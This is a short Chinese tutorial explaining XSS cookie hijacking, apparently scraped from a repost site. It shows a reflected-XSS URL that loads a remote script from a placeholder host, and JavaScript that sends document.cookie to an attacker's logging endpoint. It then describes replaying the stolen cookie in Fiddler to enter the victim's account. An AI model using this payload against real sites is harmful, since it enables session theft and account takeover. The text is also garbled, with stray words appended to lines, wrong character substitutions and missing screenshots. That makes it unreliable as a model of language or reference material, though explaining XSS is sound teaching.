说说劫持 Cookie 的原理

完成具体功能的恶意脚本(javaScript、Flash 等)称为 XSS Payload。黑客会经过这些脚本,来控制用户的浏览器。劫持 Cookie 就是一种 XSS Payload。html

Cookie 中,通常加密存放着当前用户的登录凭证。若是 Cookie 被劫持,那么黑客就能够不使用密码,直接登录到用户的帐号中。java

1 窃取 Cookie

首先先在存在 XSS 漏洞的网站,加载一段远程脚本,形如:后端

http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script> 复制代码

XSS Payload 写在 malice.js 中,这样就能够避免直接在 URL 参数中写入大量的脚本代码。浏览器

malice.js 内容:bash

var img = document.createElement("img");
img.src = "http://xxx.com/log?" + escape(document.cookie);
document.body.appendChild(img);
复制代码

escape() 函数可对字符串进行编码,这样就能够在全部的计算机上读取该字符串。服务器

在此,咱们动态建立了一个图片标签,并把 cookie 参数做为对象,发送给后端服务器。cookie

这样就完成了窃取 Cookie 的整个过程。app

2 利用 Cookie 登录帐户

一个网站,若是还未登陆,通常在右上角有个 “登陆” 连接:函数

假设已经获得了某个帐户的 Cookie 信息,那么就能够在 Fiddler 中,模拟 Get 请求:网站

而后就能够成功登录网站咯:

相关文章
相关标签/搜索